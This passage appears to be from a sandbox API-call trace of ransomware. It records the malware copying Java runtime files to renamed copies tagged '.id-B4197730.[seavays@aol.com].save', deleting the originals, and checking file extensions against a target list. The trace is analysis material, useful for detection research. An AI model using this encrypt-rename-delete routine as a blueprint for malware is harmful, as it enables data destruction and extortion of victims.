hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.400] SetEndOfFile (hFile=0x36c) returned 1 [0076.401] CloseHandle (hObject=0x36c) returned 1 [0076.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.402] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0076.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.403] lstrlenW (lpString=".doc") returned 4 [0076.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString=".docx") returned 5 [0076.403] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0076.403] lstrlenW (lpString=".pdf") returned 4 [0076.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString=".xls") returned 4 [0076.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString=".xlsx") returned 5 [0076.403] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0076.403] lstrlenW (lpString=".ppt") returned 4 [0076.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.403] lstrlenW (lpString=".zip") returned 4 [0076.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString=".rar") returned 4 [0076.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.403] lstrlenW (lpString=".bz2") returned 4 [0076.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.403] lstrlenW (lpString=".7z") returned 3 [0076.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.403] lstrlenW (lpString=".dbf") returned 4 [0076.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.403] lstrlenW (lpString=".1cd") returned 4 [0076.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0076.404] lstrlenW (lpString=".jpg") returned 4 [0076.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0076.407] GetLastError () returned 0x0 [0076.407] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x97440, lpOverlapped=0x0) returned 1 [0076.430] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x97450, lpOverlapped=0x0) returned 1 [0076.443] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.443] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1 [0076.443] SetEndOfFile (hFile=0x398) returned 1 [0076.443] CloseHandle (hObject=0x398) returned 1 [0076.443] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.443] SetEndOfFile (hFile=0x36c) returned 1 [0076.855] CloseHandle (hObject=0x36c) returned 1 [0076.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.856] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0076.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.865] lstrlenW (lpString=".doc") returned 4 [0076.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString=".docx") returned 5 [0076.865] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0076.865] lstrlenW (lpString=".pdf") returned 4 [0076.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString=".xls") returned 4 [0076.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString=".xlsx") returned 5 [0076.865] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0076.865] lstrlenW (lpString=".ppt") returned 4 [0076.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.865] lstrlenW (lpString=".zip") returned 4 [0076.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString=".rar") returned 4 [0076.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.865] lstrlenW (lpString=".bz2") returned 4 [0076.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.865] lstrlenW (lpString=".7z") returned 3 [0076.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.865] lstrlenW (lpString=".dbf") returned 4 [0076.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.865] lstrlenW (lpString=".1cd") returned 4 [0076.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0076.865] lstrlenW (lpString=".jpg") returned 4 [0076.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.866] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.866] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.868] GetLastError () returned 0x0 [0076.868] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x2dc00, lpOverlapped=0x0) returned 1 [0076.872] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x2dc10, lpOverlapped=0x0) returned 1 [0076.875] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.875] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0076.876] SetEndOfFile (hFile=0x2f4) returned 1 [0076.876] CloseHandle (hObject=0x2f4) returned 1 [0076.876] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.876] SetEndOfFile (hFile=0x36c) returned 1 [0076.878] CloseHandle (hObject=0x36c) returned 1 [0076.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.878] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0076.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.879] lstrlenW (lpString=".doc") returned 4 [0076.879] lstrcmpiW (lpString1=".doc", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString=".docx") returned 5 [0076.879] lstrcmpiW (lpString1=".docx", lpString2="l.cpl") returned -1 [0076.879] lstrlenW (lpString=".pdf") returned 4 [0076.879] lstrcmpiW (lpString1=".pdf", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString=".xls") returned 4 [0076.879] lstrcmpiW (lpString1=".xls", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString=".xlsx") returned 5 [0076.879] lstrcmpiW (lpString1=".xlsx", lpString2="l.cpl") returned -1 [0076.879] lstrlenW (lpString=".ppt") returned 4 [0076.879] lstrcmpiW (lpString1=".ppt", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.879] lstrlenW (lpString=".zip") returned 4 [0076.879] lstrcmpiW (lpString1=".zip", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString=".rar") returned 4 [0076.879] lstrcmpiW (lpString1=".rar", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString=".bz2") returned 4 [0076.879] lstrcmpiW (lpString1=".bz2", lpString2=".cpl") returned -1 [0076.879] lstrlenW (lpString=".7z") returned 3 [0076.879] lstrcmpiW (lpString1=".7z", lpString2="cpl") returned -1 [0076.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.879] lstrlenW (lpString=".dbf") returned 4 [0076.879] lstrcmpiW (lpString1=".dbf", lpString2=".cpl") returned 1 [0076.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.879] lstrlenW (lpString=".1cd") returned 4 [0076.880] lstrcmpiW (lpString1=".1cd", lpString2=".cpl") returned -1 [0076.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0076.880] lstrlenW (lpString=".jpg") returned 4 [0076.880] lstrcmpiW (lpString1=".jpg", lpString2=".cpl") returned 1 [0076.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.880] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.881] GetLastError () returned 0x0 [0076.881] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x13a40, lpOverlapped=0x0) returned 1 [0076.883] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x13a50, lpOverlapped=0x0) returned 1 [0076.885] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.885] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0076.886] SetEndOfFile (hFile=0x2f4) returned 1 [0076.886] CloseHandle (hObject=0x2f4) returned 1 [0076.886] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.886] SetEndOfFile (hFile=0x36c) returned 1 [0076.887] CloseHandle (hObject=0x36c) returned 1 [0076.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.887] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0076.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString=".doc") returned 4 [0076.889] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.889] lstrlenW (lpString=".docx") returned 5 [0076.889] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0076.889] lstrlenW (lpString=".pdf") returned 4 [0076.889] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.889] lstrlenW (lpString=".xls") returned 4 [0076.889] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.889] lstrlenW (lpString=".xlsx") returned 5 [0076.889] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0076.889] lstrlenW (lpString=".ppt") returned 4 [0076.889] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString=".zip") returned 4 [0076.889] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.889] lstrlenW (lpString=".rar") returned 4 [0076.889] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.889] lstrlenW (lpString=".bz2") returned 4 [0076.889] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.889] lstrlenW (lpString=".7z") returned 3 [0076.889] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString=".dbf") returned 4 [0076.889] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString=".1cd") returned 4 [0076.889] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0076.889] lstrlenW (lpString=".jpg") returned 4 [0076.889] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.890] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.890] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.891] GetLastError () returned 0x0 [0076.891] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x10e40, lpOverlapped=0x0) returned 1 [0076.894] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x10e50, lpOverlapped=0x0) returned 1 [0076.896] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.896] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf2, lpOverlapped=0x0) returned 1 [0076.896] SetEndOfFile (hFile=0x2f4) returned 1 [0076.896] CloseHandle (hObject=0x2f4) returned 1 [0076.896] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.896] SetEndOfFile (hFile=0x36c) returned 1 [0076.897] CloseHandle (hObject=0x36c) returned 1 [0076.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.898] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0076.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.898] lstrlenW (lpString=".doc") returned 4 [0076.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.898] lstrlenW (lpString=".docx") returned 5 [0076.899] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0076.899] lstrlenW (lpString=".pdf") returned 4 [0076.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.899] lstrlenW (lpString=".xls") returned 4 [0076.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.899] lstrlenW (lpString=".xlsx") returned 5 [0076.899] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0076.899] lstrlenW (lpString=".ppt") returned 4 [0076.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.899] lstrlenW (lpString=".zip") returned 4 [0076.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.899] lstrlenW (lpString=".rar") returned 4 [0076.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.899] lstrlenW (lpString=".bz2") returned 4 [0076.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.899] lstrlenW (lpString=".7z") returned 3 [0076.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.899] lstrlenW (lpString=".dbf") returned 4 [0076.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.899] lstrlenW (lpString=".1cd") returned 4 [0076.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0076.899] lstrlenW (lpString=".jpg") returned 4 [0076.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.900] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.900] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.901] GetLastError () returned 0x0 [0076.901] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x83640, lpOverlapped=0x0) returned 1 [0077.028] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x83650, lpOverlapped=0x0) returned 1 [0077.039] ReadFile (in: hFile=0x36c, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.039] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xfa, lpOverlapped=0x0) returned 1 [0077.039] SetEndOfFile (hFile=0x2f4) returned 1 [0078.051] CloseHandle (hObject=0x2f4) returned 1 [0078.051] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.051] SetEndOfFile (hFile=0x36c) returned 1 [0078.058] CloseHandle (hObject=0x36c) returned 1 [0078.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.058] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0078.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.319] lstrlenW (lpString=".doc") returned 4 [0078.319] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString=".docx") returned 5 [0078.319] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0078.319] lstrlenW (lpString=".pdf") returned 4 [0078.319] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString=".xls") returned 4 [0078.319] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString=".xlsx") returned 5 [0078.319] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0078.319] lstrlenW (lpString=".ppt") returned 4 [0078.319] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.319] lstrlenW (lpString=".zip") returned 4 [0078.319] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString=".rar") returned 4 [0078.319] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.319] lstrlenW (lpString=".bz2") returned 4 [0078.320] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.320] lstrlenW (lpString=".7z") returned 3 [0078.320] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.320] lstrlenW (lpString=".dbf") returned 4 [0078.320] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.320] lstrlenW (lpString=".1cd") returned 4 [0078.320] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0078.320] lstrlenW (lpString=".jpg") returned 4 [0078.320] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.321] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.322] 